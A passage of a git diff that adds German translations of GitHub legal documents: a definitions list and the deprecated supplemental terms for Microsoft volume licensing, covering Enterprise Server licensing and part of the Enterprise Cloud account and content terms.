+**„Amerika“** bezeichnet die Vereinigten Staaten, Kanada, Mexiko oder ein Land in Mittel- oder Südamerika oder der Karibik.
+
+**„Beta-Vorschau“** bezeichnet Software, Dienste oder Funktionen, die als Alpha, Beta, Vorschau, Early Access oder Evaluierung oder mit Begriffen oder Ausdrücken mit ähnlicher Bedeutung gekennzeichnet sind.
+
+**„Vertrauliche Informationen“** bezeichnet alle nicht öffentlichen Informationen, die von einer Partei an die andere weitergegeben werden, sei es schriftlich, mündlich oder auf andere Weise, die als vertraulich bezeichnet werden oder die die empfangende Partei unter den Umständen der Weitergabe und der Art der Informationen als für die offenlegende Partei vertraulich erkennt oder erkennen sollte. Zur Klarstellung wird darauf hingewiesen, dass keine im Dienst veröffentlichten Inhalte als Vertrauliche Informationen gelten, mit Ausnahme von Kundeninhalten, die ausschließlich in den Privaten Repositories des Kunden gespeichert sind. Vertrauliche Informationen umfassen keine Informationen, die (i) ohne Verschulden der empfangenden Partei öffentlich bekannt waren oder werden; (ii) der empfangenden Partei ohne Vertraulichkeits- oder Eigentumsbeschränkung aus einer anderen Quelle als der offenlegenden Partei, die zur Offenlegung berechtigt ist, rechtmäßig bekannt waren oder bekannt werden, (iii) von der offenlegenden Partei zur uneingeschränkten Offenlegung in einem schriftlichen Dokument genehmigt wurden, das von einem ordnungsgemäß bevollmächtigten leitenden Angestellten dieser offenlegenden Partei unterzeichnet ist; (iv) die empfangende Partei unabhängig und ohne Zugriff auf oder Nutzung der Vertraulichen Informationen der anderen Partei entwickelt; oder (v) im Dienst und außerhalb der Privaten Repositories des Kunden gespeichert oder veröffentlicht werden oder wurden.
+
+**„Connect“** oder **„GitHub Connect“** bezeichnet ein in der Software enthaltenes Feature, mit dem der Kunde die Software mit dem Dienst verbinden kann. Die Nutzung von GitHub Connect unterliegt den Bestimmungen für GitHub Connect in [Zusätzliche Produktbestimmungen von GitHub](/github/site-policy/github-additional-product-terms).
+
+**„Inhalt(e)“** bezeichnet, ohne Einschränkung, Code, Text, Daten, Artikel, Bilder, Pakete, Fotos, Grafiken, Software, Anwendungen, Designs, Funktionen und andere Materialien, die der Dienst enthält, anzeigt oder anderweitig verfügbar macht.
+
+**„Unternehmenskonto“** bezeichnet ein Konto, das von einem Nutzer im Namen einer juristischen Person erstellt wurde.
+
+**„Kunde“** bedeutet zusammenfassend das Unternehmen oder die Organisation, das bzw. die durch Klicken auf „ICH STIMME ZU“ oder eine ähnliche Schaltfläche oder den Zugriff auf die Produkte diese Vereinbarung mit GitHub abgeschlossen hat, sowie verbundene Unternehmen und Vertreter.
+
+**„Kundeninhalte“** bezeichnet Inhalte, die der Kunde erstellt, besitzt oder an denen der Kunde die Rechte hält.
+
+**„Kundenänderungen“** sind Änderungen an der Software, die der Kunde ausschließlich zwecks Entwicklung von Fehlerbehebungen, Anpassungen oder zusätzlichen Features von Bibliotheken vornehmen kann, die durch Open-Source-Lizenzen lizenziert sind und ggf. in der Software enthalten oder mit dieser verknüpft sind.
+
+**„Dokumentation“** bezeichnet alle Handbücher, Dokumentationen und andere unterstützende Materialien in Bezug auf die Software oder den Dienst, die GitHub dem Kunden bereitstellt oder für ihn verfügbar macht.
+
+**„Wirksamkeitsdatum“** ist das Datum, an dem der Kunde (i) den vorstehend beschriebenen Geschäftsbedingungen dieser Vereinbarung zustimmt oder (ii) zum ersten Mal Produkte bestellt, je nachdem, welches Datum früher liegt.
+
+**„Grundlegende Dienste“** bezeichnet die Dienste, die für die Steuerungsfunktionen der GitHub-Basisversion notwendig sind (einschließlich Erstellen, Forken und Klonen von Repositorys, Erstellen, Committen und Zusammenführen von Branches, Erstellen, Überprüfen und Zusammenführen von Pull Requests) sowie Web-, API- und Git-Clientschnittstellen zu den Git-Basisworkflows. Beispiele für nicht enthaltene Peripheriefeatures und -dienste sind Webhooks, Gists, Pages und E-Mail-Benachrichtigungen.
+
+**„Externer Nutzer“** bezeichnet eine Einzelperson, ausgenommen die Nutzer des Kunden, die den Dienst besucht oder nutzt.
+„Gebühren“ bezeichnet die in einem Bestellformular oder einer Leistungsbeschreibung angegebenen Gebühren, die der Kunde an GitHub zahlen muss, um (i) die Produkte während der jeweiligen Abonnementlaufzeit zu nutzen oder (ii) Professional Services zu erhalten.
+
+**„Feedback“** bezeichnet alle Ideen, Know-how, Algorithmen, Codebeiträge, Vorschläge, Verbesserungswünsche, Empfehlungen oder sonstiges Feedback zu Produkten oder Diensten von GitHub.
+
+**„Gebühren“** bezeichnet die in einem Bestellformular oder einer Leistungsbeschreibung angegebenen Gebühren, die der Kunde an GitHub zahlen muss, um (i) die Produkte während der jeweiligen Abonnementlaufzeit zu nutzen oder (ii) Professional Services zu erhalten.
+
+**„Forken“ oder „Abspalten“** bedeutet, den Inhalt eines Repositories in ein anderes Repository zu kopieren.
+
+**„GitHub“** bezeichnet zusammenfassend GitHub, Inc., seine verbundenen Unternehmen und seine Vertreter.
+
+**„GitHub Inhalte“** bezeichnet Inhalte, die GitHub erstellt, besitzt oder an denen es die Rechte hält.
+
+**„GitHub Insights“** oder **„Insights“** bezeichnet das Softwarefeature, das dem Kunden Metriken, Analysen und Empfehlungen in Bezug auf die Nutzung der Software zur Verfügung stellt. GitHub Insights enthält keine Legacyfeatures von GitHub, einschließlich Organisationseinblicke und Repository-Insights.
+
+**„Learning Lab for Enterprise Server“** bezeichnet das Softwarefeature, mit dem Benutzer mehr über die GitHub-Funktionalität erfahren können, einschließlich der zugehörigen Dokumentation.
+
+**„Lizenzschlüssel“** bezeichnet die vom Zugriffssteuerungsmechanismus der Software verwendete Datendatei, mit der der Kunde die Software installieren, betreiben und verwenden kann.
+
+**„Maschinenkonto“** bezeichnet ein Konto, das von einem einzelnen Menschen registriert wurde, der die geltenden Nutzungsbedingungen im Namen des Maschinenkontos akzeptiert, eine gültige E-Mail-Adresse angibt und für seine Handlungen verantwortlich ist. Ein Maschinenkonto wird ausschließlich zur Ausführung automatisierter Aufgaben verwendet. Mehrere Nutzer können die Aktionen eines Maschinenkontos steuern, aber letztendlich ist der Inhaber des Kontos für die Aktionen der Maschine verantwortlich.
+
+**„Bestellformular“** bezeichnet die schriftliche oder elektronische Dokumentation (einschließlich eines Angebots), die die Parteien zum Bestellen der Produkte verwenden.
+
+**„Organisation“** bezeichnet einen gemeinsam genutzten Arbeitsbereich, der mit einer einzelnen juristischen Person oder mit einem oder mehreren Nutzern verknüpft sein kann, wobei mehrere Nutzer gleichzeitig über viele Projekte hinweg zusammenarbeiten können. Ein Benutzer kann Mitglied mehrerer Organisationen sein.
+
+**„Ausfall“** bezeichnet die Unterbrechung eines grundlegenden Diensts, die mehr als 50 % der aktiven Benutzer betrifft.
+
+**„Privates Repository“** bezeichnet ein Repository, das es einem Nutzer ermöglicht, den Zugriff auf Inhalte zu kontrollieren.
+
+**„Professional Services“** bezeichnet Schulungs-, Beratungs- oder Implementierungsdienste, die GitHub gemäß einer gemeinsam unterzeichneten Leistungsbeschreibung bereitstellt. In Professional Services ist kein Support enthalten.
+
+**„Öffentliches Repository“** bezeichnet ein Repository, dessen Inhalt für alle Nutzer sichtbar ist.
+
+**„Release“** bezeichnet ein Softwarerelease und alle zugehörigen Änderungen der Dokumentation, die GitHub für seine Kunden allgemein verfügbar macht und die Erweiterungen, neue Features oder neue Funktionen enthält und im Allgemeinen durch die Änderung der Ziffer rechts von der ersten Dezimalstelle (z. B. von x.x.x in x.y.x) oder links von der ersten Dezimalstelle (z. B. von x.x.x in y.x.x) gekennzeichnet wird.
+
+**„Vertreter“** bezeichnet die Mitarbeiter, Vertreter, unabhängigen Vertragspartner, Berater sowie Rechts- und Finanzberater einer Partei.
+
+**„Scraping“** bezeichnet das Extrahieren von Daten aus dem Dienst über einen automatisierten Prozess, wie z. B. einen Bot oder Webcrawler, und umfasst nicht das Sammeln von Informationen über die API von GitHub.
+
+**„Dienst“** bezeichnet den gehosteten GitHub Enterprise Cloud-Dienst. Der Dienst umfasst Folgendes: Organisationskonten, SAML Single Sign-On, Zugriffsbereitstellung und sämtliche entsprechende Dokumentation. Diese Liste von Funktionen und Diensten ist nicht vollständig und kann von Zeit zu Zeit aktualisiert werden.
+
+**„Servicegutschrift“** bezeichnet eine Gutschrift in Dollar, die wie unten beschrieben berechnet wird und die GitHub anspruchsberechtigten Konten gutschreiben kann.
+
+**„Software“** bezeichnet die lokale GitHub Enterprise Server-Software. Software umfasst das Feature GitHub Connect, entsprechende Dokumentation, alle Updates der Software, die GitHub dem Kunden bereitstellt oder auf die er im Rahmen dieser Vereinbarung zugreifen kann, und, sofern im Abonnement des Kunden enthalten, Add-On-Software.
+
+**„Leistungsbeschreibung“** bezeichnet eine gemeinsam unterzeichnete Leistungsbeschreibung, in der die von GitHub zu erbringenden Professional Services, alle damit verbundenen Gebühren und die damit einhergehenden Verpflichtungen jeder Partei aufgeführt sind.
+
+**„Abonnementlizenz“** bezeichnet die jedem Benutzer zugewiesene Lizenz, um im Namen des Kunden auf die Produkte zuzugreifen, sie zu installieren, zu betreiben und zu verwenden. Der Kunde darf in all seinen GitHub Enterprise Server-Instanzen und GitHub Enterprise Cloud-Organisationen nur eine Abonnementlizenz pro Benutzer zuweisen. Jeder Benutzer kann auf die Anzahl von Enterprise Server-Instanzen oder Enterprise Cloud-Organisationen zugreifen, die der Kunde zulässt. Der Kunde ist nach der Zuweisung einer Abonnementlizenz zu einem Benutzer jedoch nicht berechtigt, die Abonnementlizenz so zu gabeln, dass ein Benutzer eine Abonnementlizenz für Enterprise Server und ein anderer Benutzer dieselbe Abonnementlizenz für eine andere Instanz von GitHub Enterprise Server oder eine Organisation in GitHub Enterprise Cloud verwenden kann.
+
+**„Abonnementlaufzeit“** bezeichnet den Zeitraum von einem (1) Jahr ab dem Wirksamkeitsdatum einer Bestellung oder wie anderweitig in einem Bestellformular angegeben.
+
+**„Support“** bezeichnet technischen Support für die Software oder den Dienst, die bzw. den GitHub unter Umständen bereitstellt.
+
+**„Update“** bezeichnet ein Softwarerelease und alle zugehörigen Änderungen der Dokumentation, die GitHub für seine Kunden allgemein verfügbar macht und die Fehlerkorrekturen oder -behebungen enthält und im Allgemeinen durch eine Änderung der Ziffer rechts von der zweiten Dezimalstelle (z. B. von x.x.x in x.x.y) gekennzeichnet wird.
+
+**„Uptime“** bezeichnet den prozentualen Anteil der Zeit in einem gegebenen Quartal, in dem die grundlegenden Dienste von GitHub nicht durch einen Ausfall, der mehr als 50 % der aktiven Benutzer betrifft, unterbrochen werden.
+
+**„Benutzer“** bezeichnet (i) im Zusammenhang mit der Software eine Einzelperson oder ein Computerkonto, die bzw. das die Ausführung der Software initiiert oder mit der Software zwecks Ausführung ihrer Funktionen interagiert oder diese zu diesem Zweck steuert, und (ii) im Zusammenhang mit dem Dienst eine Einzelperson oder ein Computerkonto, die bzw. das (a) auf den Dienst zugreift oder den Dienst nutzt, (b) auf einen beliebigen Teil des Kundenkontos zugreift oder einen beliebigen Teil des Kundenkontos nutzt oder (c) die Nutzung des Kundenkontos zwecks Ausführung von Funktionen steuert, wobei dies jeweils im Namen des Kunden erfolgt. Die Anzahl der Nutzer sollte die Anzahl der Abonnementlizenzen, die der Kunde erworben hat, nicht überschreiten.
+
+**„Nutzergenerierte Inhalte“** bezeichnet Inhalte, die von einem Dritten oder Externen Nutzer erstellt wurden oder dessen Eigentum sind.
diff --git a/translations/de-DE/content/site-policy/site-policy-deprecated/github-supplemental-terms-for-microsoft-volume-licensing.md b/translations/de-DE/content/site-policy/site-policy-deprecated/github-supplemental-terms-for-microsoft-volume-licensing.md
new file mode 100644
index 0000000000..620b2d2b43
--- /dev/null
+++ b/translations/de-DE/content/site-policy/site-policy-deprecated/github-supplemental-terms-for-microsoft-volume-licensing.md
@@ -0,0 +1,327 @@
+---
+title: Ergänzende GitHub-Bestimmungen für die Microsoft-Volumenlizenzierung
+hidden: true
+redirect_from:
+  - /articles/GitHub-Supplemental-Terms-for-Microsoft-Volume-Licensing
+  - /articles/github-supplemental-terms-for-microsoft-volume-licensing
+  - /github/site-policy/github-supplemental-terms-for-microsoft-volume-licensing
+  - /github/site-policy-deprecated/github-supplemental-terms-for-microsoft-volume-licensing
+versions:
+  fpt: '*'
+ms.openlocfilehash: 2cb8974211c2aca335a86b14856fac75ed51d041
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '147099256'
+---
+_Diese Bestimmungen gelten für Kunden, die die Produkte vor dem 4. Januar 2021 lizenziert haben. Kunden, die GitHub-Produkte nach diesem Datum erwerben, werden zu den aktuellen Bestimmungen unter https://www.github.com/enterprise-legal weitergeleitet._
+
+Die folgenden ergänzenden GitHub-Bestimmungen (einschließlich aller entsprechenden Auftragsformulare) ergänzen den Microsoft-Volumenlizenzvertrag des Kunden („**Microsoft-Kundenvereinbarung**“) und regeln zusammen mit der Microsoft-Kundenvereinbarung die Nutzung der Produkte durch den Kunden (wie unten definiert). Die Microsoft-Kundenvereinbarung wird durch diese Bezugnahme in die vorliegenden Bestimmungen eingeschlossen.  Für Begriffe, die in diesen ergänzenden Bestimmungen verwendet, aber nicht definiert werden, gelten die in der Microsoft-Kundenvereinbarung festgelegten Bedeutungen.
+
+Diese ergänzenden Bestimmungen gelten wie unten näher definiert für die folgenden GitHub-Angebote (zusammenfassend „**Produkte**“):
+
+-   GitHub Enterprise (bestehend aus GitHub Enterprise Server und ggf. zugehöriger Add-On-Software sowie GitHub Enterprise Cloud);
+
+-   Jeglicher damit verbundener Support; und
+
+-   Alle damit verbundenen Professional Services.
+
+Diese ergänzenden GitHub-Bestimmungen umfassen die folgenden Abschnitte und Anhänge, die durch Bezugnahme in die vorliegenden Bestimmungen eingeschlossen werden:
+
+* ABSCHNITT 1: Lizenzbedingungen für GitHub Enterprise Server;
+
+* ABSCHNITT 2: Vertragsbedingungen für GitHub Enterprise Cloud;
+
+* ABSCHNITT 3: Allgemeine Bestimmungen; und
+
+* ANHANG A: Definitionen
+
+
+
+##  ABSCHNITT 1: LIZENZBEDINGUNGEN FÜR GITHUB ENTERPRISE SERVER
+
+Dieser Abschnitt 1 enthält die anwendbaren Bestimmungen für die Nutzung der Software durch den Kunden.
+
+### 1.1 Lizenzgewährung.
+
+GitHub gewährt dem Kunden eine nicht ausschließliche, nicht übertragbare, weltweite, unentgeltliche, zeitlich beschränkte Lizenz zur dokumentationskonformen Installation und Nutzung der Software zu internen Geschäftszwecken des Kunden für den Zeitraum der entsprechenden Abonnementlaufzeit und ausschließlich für die Anzahl von Abonnementlizenzen, die im Bestellformular des Kunden angegeben ist. Die Software umfasst Komponenten, für die Dritte GitHub eine Lizenz gewähren. Dazu zählt auch Software, deren Lizenzen erfordern, dass GitHub den Quellcode der entsprechenden Komponenten verfügbar macht. Der Quellcode solcher Komponenten wird auf Anfrage bereitgestellt. Unbeschadet des Vorstehenden gestattet diese Lizenz dem Kunden das Herunterladen und Ausführen von Microsoft SQL Server Standard Edition-Containerimages für Linux-Dateien („**SQL Server-Images**“), die nur wie dokumentiert mit der Software verwendet werden dürfen. Das Recht des Kunden, die SQL Server-Images zu verwenden, endet, wenn er nicht mehr über die Rechte zur Nutzung der Software verfügt, und der Kunde muss die SQL Server-Images deinstallieren, wenn sein Nutzungsrecht endet. Die Microsoft Corporation kann SQL Server Images jederzeit deaktivieren.
+
+### 1.2 Einschränkungen.
+
+Sofern gesetzlich oder durch entsprechende Lizenzen von Dritten nicht ausdrücklich gestattet, dürfen der Kunde und seine verbundenen Unternehmen Folgendes weder selbst vornehmen noch durch Dritte vornehmen lassen: (i) Unterlizenzieren, Verkaufen, Vermieten, Verleasen, Übertragen, Abtreten oder Weiterverbreiten der Software, (ii) Hosten der Software zugunsten Dritter, (iii) Offenlegen der Software oder Gewähren von Zugriff auf die Software für Dritte mit Ausnahme der nach diesem Abschnitt 1 ausdrücklich zulässigen Fälle, (iv) Hacken oder Ändern des Lizenzschlüssels oder Umgehen oder Ändern des Lizenzregistrierungsvorgangs, (v) mit Ausnahme von Kundenänderungen Ändern oder Entwickeln abgeleiteter Werke der Software oder Zusammenführen der Software mit anderer Software, (vi) teilweises oder vollständiges Disassemblieren, Dekompilieren, Umgehen von Codeobfuskation, Zurückentwickeln (Reverse Engineering) der Software oder Versuche zur Ableitung von Quellcode, (vii) Ändern, Verunklaren oder Löschen von Hinweisen auf Schutzrechte in der Software oder der Dokumentation oder (viii) anderweitige Verwendung oder Vervielfältigung der Software oder der Dokumentation, die gemäß dieser Vereinbarung nicht ausdrücklich gestattet ist.
+
+### 1.3 Bereitstellung.
+
+GitHub stellt dem Kunden den Lizenzschlüssel auf einer sicheren, kennwortgeschützten Website zum Herunterladen zur Verfügung. Jede Bereitstellung nach diesem Abschnitt 1 erfolgt in elektronischer Form. Um Zweifel auszuschließen, wird ausdrücklich darauf hingewiesen, dass der Kunde für die Installation jeglicher Software verantwortlich ist und anerkennt, dass GitHub nach der Bereitstellung des Lizenzschlüssels keine weiteren Bereitstellungsverpflichtungen im Zusammenhang mit der Software hat. GitHub stellt verfügbare Updates auf derselben Website zum Herunterladen bereit. Der Kunde muss die Software in gewerblich angemessenen Abständen aktualisieren, mindestens jedoch einmal (1-mal) pro Jahr. Der Kunde trägt die Verantwortung für die Wahrung der Vertraulichkeit der Benutzernamen und Kennwörter des Kunden.
+
+### 1.4. Überprüfung.
+
+Der Kunde stellt GitHub auf Anfrage umgehend einen per Software generierten Bericht bereit, aus dem hervorgeht, dass der Kunde die Software nach diesen ergänzenden GitHub-Bestimmungen nutzt. GitHub stellt dem Kunden jede zusätzliche Nutzung mit Wirksamkeit ab dem Datum in Rechnung, an dem die Nutzung erstmals über diese ergänzenden GitHub-Bestimmungen hinaus erfolgte.
+
+### 1.5 Support.
+
+GitHub stellt wie in der Microsoft-Kundenvereinbarung näher beschrieben technischen Support für die Software bereit. GitHub kann erweiterte Supportangebote für die Software und den Dienst (einschließlich der Premium-, Premium Plus- und Engineering Direct-Supportangebote) nach den [Supportbestimmungen](/enterprise/admin/enterprise-support/about-github-premium-support-for-github-enterprise) und auf der Supportebene, zu den Gebühren und in der Abonnementlaufzeit bereitstellen, die in einem Bestellformular oder einer Leistungsbeschreibung angegeben sind. Ungeachtet anderslautender Bestimmungen in der Microsoft-Kundenvereinbarung gilt Folgendes: (i) GitHub unternimmt angemessene Anstrengungen, um alle wesentlichen, reproduzierbaren Fehler der Software zu beheben, über die der Kunde GitHub informiert, ist jedoch nicht für die Bereitstellung von Support verantwortlich, wenn (a) jemand (anderes als GitHub) die Software ändert, (b) der Kunde sein Betriebssystem oder seine Umgebung so ändert, dass sich dies nachteilig auf die Software oder ihre Leistung auswirkt, (c) der Kunde die Software auf andere als nach der Microsoft-Kundenvereinbarung, diesem Abschnitt 1 oder der Dokumentation zulässige Weise verwendet oder (d) ein Versehen, Fahrlässigkeit oder Zweckentfremdung der Software seitens des Kunden vorliegt; und (ii) GitHub leistet für ein bestimmtes Release nur für ein (1) Jahr ab dem ursprünglichen Veröffentlichungsdatum oder sechs (6) Monate ab dem letzten Update des Releases Support, je nachdem, welcher Zeitraum länger ist.
+
+### 1.6 Updates, Releases.
+
+#### 1.6.1 Allgemeines.
+
+GitHub stellt dem Kunden Updates und Releases der Software auf derselben sicheren Website bereit, über die der Kunde die Software und den Lizenzschlüssel heruntergeladen hat.
+
+#### 1.6.2 Unterstützte Releases.
+
+GitHub leistet für ein bestimmtes Release nur für ein (1) Jahr ab dem ursprünglichen Veröffentlichungsdatum oder sechs (6) Monate ab dem letzten Update des Releases Support, je nachdem, welcher Zeitraum länger ist. Benötigt der Kunde Support für ältere Releases der Software, muss er diesen Support nach den Bestimmungen eines einvernehmlich vereinbarten Bestellformulars bzw. einer einvernehmlich vereinbarten Leistungsbeschreibung bezahlen.
+
+### 1.7 Add-On-Software.
+
+Add-On-Software wird pro Benutzer lizenziert. Um Zweifel auszuschließen und sofern in einem Bestellformular nicht anders angegeben, muss die Anzahl von Abonnementlizenzen, die der Kunde zu einem bestimmten Zeitpunkt für Add-On-Software besitzt, der Anzahl von Abonnementlizenzen entsprechen, über die der Kunde für die Produkte unter dieser Vereinbarung verfügt. Wenn der Kunde beispielsweise ein Abonnement für Insights erwerben möchte und bereits Abonnementlizenzen für 100 Benutzer für die Produkte besitzt, muss er für Insights Abonnementlizenzen für 100 Benutzer erwerben.
+
+### 1.8 Datenschutzrechtliche Aspekte bei der Nutzung von GitHub Insights and Learning Lab for Enterprise Server.
+
+Wenn die geplante Nutzung von GitHub Insights oder Learning Lab for Enterprise Server durch den Kunden die Verarbeitung personenbezogener Daten beinhaltet, ist der Kunde allein dafür verantwortlich, zu entscheiden, ob er eine Analyse der Auswirkungen auf den Datenschutz durchführt oder anderweitig eine formale rechtliche Analyse der geplanten Nutzung vornimmt. Es liegt im alleinigen Ermessen des Kunden, ob er GitHub Insights oder Learning Lab for Enterprise Server zur Verarbeitung der Daten seiner Mitarbeiter und/oder Benutzer verwendet, und der Kunde ist allein dafür verantwortlich, diese Verarbeitung in Übereinstimmung mit dem anwendbaren Recht durchzuführen.
+
+### 1.9 Beschränkte Softwaregarantie.
+
+GitHub gewährleistet, dass die unveränderte Software für neunzig (90) Tage ab dem Datum der Bereitstellung zum ersten Herunterladen im Wesentlichen der zugehörigen Dokumentation entspricht. GitHub gewährleistet nicht, dass die Nutzung der Software durch den Kunden unterbrechungsfrei oder der Betrieb der Software fehlerfrei verlaufen wird. Diese Garantie gilt nicht, wenn der Kunde die Software auf eine Art und Weise ändert oder verwendet, die gemäß diesem Abschnitt 1 und der Dokumentation nicht ausdrücklich gestattet ist. Die einzige Verpflichtung von GitHub und der einzige Abhilfeanspruch des Kunden bei Verletzungen dieser beschränkten Garantie werden in der Microsoft-Kundenvereinbarung festgelegt.
+
+## ABSCHNITT 2: VERTRAGSBEDINGUNGEN FÜR GITHUB ENTERPRISE CLOUD
+
+Mit der Erstellung eines Unternehmenskontos und/oder einer Organisation im Dienst durch den Kunden oder durch GitHub im Namen des Kunden gelten die in diesem Abschnitt 2 enthaltenen Bestimmungen für die Nutzung des Diensts durch den Kunden.
+
+### 2.1 Kontobestimmungen.
+
+#### 2.1.1 Kontrolle über Konten.
+
+  **(i) Benutzer.** Der Kunde erkennt an, dass die Nutzer die endgültige administrative Kontrolle über ihre individuellen Konten und die darin enthaltenen Inhalte behalten. Mit Ausnahme der Aktivitäten von Benutzern gemäß diesem Abschnitt 2 regeln die [Standardvertragsbedingungen von GitHub](/github/site-policy/github-terms-of-service) die Nutzung des Diensts durch Benutzer.
+
+  **(ii) Organisationen.** Vorbehaltlich dieses Abschnitts 2 behält der Kunde die endgültige administrative Kontrolle über alle in seinem Namen erstellten Organisationen und benutzergenerierten Inhalte, die in den Repositorys innerhalb seiner Organisation(en) veröffentlicht werden. Dieser Abschnitt 2 regelt die Nutzung der Organisation(en) des Kunden.
+
+#### 2.1.2 Anforderungen für Konten.
+
+Um ein Konto zu erstellen, muss der Kunde Folgendes beachten:
+
+**(i)** Der Kunde darf kein Konto zur Nutzung durch Personen unter 13 Jahren erstellen. Wenn GitHub von einem Nutzer unter 13 Jahren erfährt, wird es das Konto dieses Nutzers unverzüglich kündigen. Wenn sich der Kunde oder seine Nutzer in einem Land außerhalb der Vereinigten Staaten befinden, kann das Mindestalter dieses Landes höher sein; in einem solchen Fall ist der Kunde für die Einhaltung der Gesetze dieses Landes verantwortlich.
+
+**(ii)** Die Anmeldeinformationen eines Benutzers dürfen nicht von mehreren Personen verwendet werden.
+
+**(iii)** Der Kunde darf den Dienst in folgenden Fällen nicht verwenden: (a) unter Verstoß gegen Exportkontroll- oder Sanktionsgesetze der USA oder eines anderen zuständigen Gerichtsstands, (b) wenn er sich in einem Land oder Gebiet befindet oder seinen gewöhnlichen Aufenthalt in einem Land oder Gebiet hat, das umfassenden Sanktionen des US Office of Foreign Assets Control (OFAC) unterliegt, oder (c) wenn er im Auftrag eines [Specially Designated National (SDN)](https://www.treasury.gov/resource-center/sanctions/SDN-List/Pages/default.aspx) oder einer Person arbeitet, die ähnlichen Sperr- oder Denied-Party-Verboten unterliegt. Weitere Informationen finden Sie in der [GitHub-Handelskontrollrichtlinie](/github/site-policy/github-and-trade-controls).
+
+#### 2.1.3 Kontosicherheit.
+
+Der Kunde trägt die Verantwortung für: (i) alle veröffentlichten Inhalte und Aktivitäten unter seinem Unternehmenskonto, (ii) die Aufrechterhaltung der Sicherheit seiner Kontoanmeldeinformationen und (iii) die unverzügliche [Benachrichtigung von GitHub](https://support.github.com/contact?tags=docs-policy), wenn er Kenntnis von einer unbefugten Nutzung oder einem unbefugten Zugriff auf den Dienst über sein Konto erlangt.  GitHub haftet nicht für Verluste oder Schäden, die durch die Nichteinhaltung dieses Abschnitts 2.1.3 durch den Kunden entstehen.
+
+#### 2.1.4 Zusätzliche Bestimmungen.
+
+In bestimmten Fällen können für die Nutzung des Diensts durch den Kunden Bestimmungen Dritter gelten. Beispielsweise kann der Kunde Mitglied einer Organisation mit eigenen Bedingungen oder Lizenzvereinbarungen sein, der Kunde kann eine Anwendung herunterladen, die sich in den Dienst integriert, oder der Kunde kann den Dienst verwenden, um sich bei einem anderen Dienst zu authentifizieren. Obwohl die Microsoft-Kundenvereinbarung, einschließlich dieser ergänzenden GitHub-Bestimmungen, die vollständige Vereinbarung von GitHub mit dem Kunden darstellt, unterliegen die Beziehungen zwischen GitHub und dem Kunden den Bestimmungen anderer Parteien.
+
+#### 2.1.5. Bestimmungen für US-Bundesbehörden.
+
+Wenn der Kunde eine US-Bundesbehörde ist oder auf andere Weise in der Funktion einer Verwaltungseinrichtung auf den Dienst zugreift oder diesen nutzt, gilt die [Zusatzvereinbarung für die US-Bundesregierung](/github/site-policy/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users), und der Kunde stimmt ihren Bestimmungen zu.
+
+### 2.2 Einhaltung von Gesetzen, angemessene Nutzung, Datenschutz.
+
+#### 2.2.1. Einhaltung von Gesetzen und Regelungen.
+
+Die Nutzung des Diensts durch den Kunden darf nicht gegen geltende Gesetze verstoßen, einschließlich Urheber- oder Markengesetze, Exportkontrollgesetze oder Regelungen in seinem Gerichtsstand.
+
+#### 2.2.2 Angemessene Nutzung.
+
+Die Nutzung des Dienstes durch den Kunden muss den [Richtlinien zur akzeptablen Nutzung von GitHub](/github/site-policy/github-acceptable-use-policies) sowie den [Community-Richtlinien von GitHub](/github/site-policy/github-community-guidelines) entsprechen. Der Kunde darf den Dienst in keiner Rechtsordnung für rechtswidrige, obszöne, anstößige oder betrügerische Inhalte oder Aktivitäten nutzen, beispielsweise um Schäden zu befürworten oder zu verursachen, die Integrität oder Sicherheit eines Netzwerks oder Systems zu stören oder zu verletzen, Filter zu umgehen, unerwünschte, missbräuchliche oder irreführende Nachrichten, Viren oder schädlichen Code zu senden oder die Rechte Dritter zu verletzen.
+
+#### 2.2.3 Datenschutz.
+Die [GitHub-Datenschutzerklärung](/github/site-policy/github-privacy-statement) und der [Nachtrag zum Datenschutz bei GitHub](/github/site-policy/github-data-protection-addendum) enthalten ausführliche Hinweise zu den Datenschutz- und Datennutzungspraktiken von GitHub sowie zu den Verarbeitungs- und Sicherheitsverpflichtungen von GitHub in Bezug auf personenbezogene Kundendaten. Jede natürliche oder juristische Person oder jeder Dienst, die bzw. der Daten aus dem Dienst sammelt, muss die [GitHub-Datenschutzerklärung](/github/site-policy/github-privacy-statement) einhalten, insbesondere in Bezug auf die Sammlung personenbezogener Daten von Benutzern (wie in der GitHub-Datenschutzerklärung definiert). Wenn der Kunde Personenbezogene Nutzerdaten über GitHub erhebt, verwendet der Kunde diese nur für den Zweck, für den der Externe Nutzer sie autorisiert hat. Der Kunde sichert solche Personenbezogenen Daten angemessen und reagiert unverzüglich auf Beschwerden, Entfernungsanfragen und „Nicht-Kontaktieren“-Anfragen von GitHub oder Externen Nutzern.
+
+### 2.3 Verantwortung für Inhalte, Eigentumsrechte, Lizenzrechte.
+
+#### 2.3.1. Verantwortung für benutzergenerierte Inhalte.
+Der Kunde kann Nutzergenerierte Inhalte erstellen oder hochladen, während er den Dienst nutzt. Der Kunde trägt die alleinige Verantwortung für alle benutzergenerierten Inhalte, die er veröffentlicht, hochlädt, verlinkt oder anderweitig über den Dienst verfügbar macht, unabhängig von der Form dieser benutzergenerierten Inhalte. GitHub ist nicht verantwortlich für die öffentliche Anzeige oder den Missbrauch von Nutzergenerierten Inhalten.
+
+#### 2.3.2. Eigentum an Inhalten, Recht zur Veröffentlichung und Lizenzgewährung.
+
+**(i)** Der Kunde behält das Eigentum an Kundeninhalten, die er erstellt oder besitzt. Der Kunde erkennt an, dass er: (a) für Kundeninhalte verantwortlich ist, (b) nur Kundeninhalte übermittelt, zu deren Veröffentlichung der Kunde berechtigt ist (einschließlich Inhalten von Drittanbietern oder Nutzergenerierten Inhalten), und (c) alle diesbezüglichen Lizenzen von Drittanbietern in Bezug auf Kundeninhalte, die der Kunde postet, uneingeschränkt einhält.
+
+**(ii)** Der Kunde gewährt die in den Abschnitten 2.3.3 bis 2.3.6 dargelegten Rechte kostenlos und für die in diesen Abschnitten angegebenen Zwecke, bis der Kunde Kundeninhalte von GitHub-Servern entfernt, mit Ausnahme von Inhalten, die der Kunde öffentlich gepostet hat und die externe Benutzer geforkt haben, wobei die Lizenz in diesem Fall unbefristet ist, bis alle Forks von Kundeninhalten von den GitHub-Servern entfernt wurden. Wenn der Kunde Kundeninhalte hochlädt, die bereits mit einer Lizenz bereitgestellt werden, die GitHub die erforderlichen Berechtigungen zum Ausführen des Dienstes erteilt, ist keine zusätzliche Lizenz erforderlich.
+
+#### 2.3.3 Lizenzgewährung an GitHub.
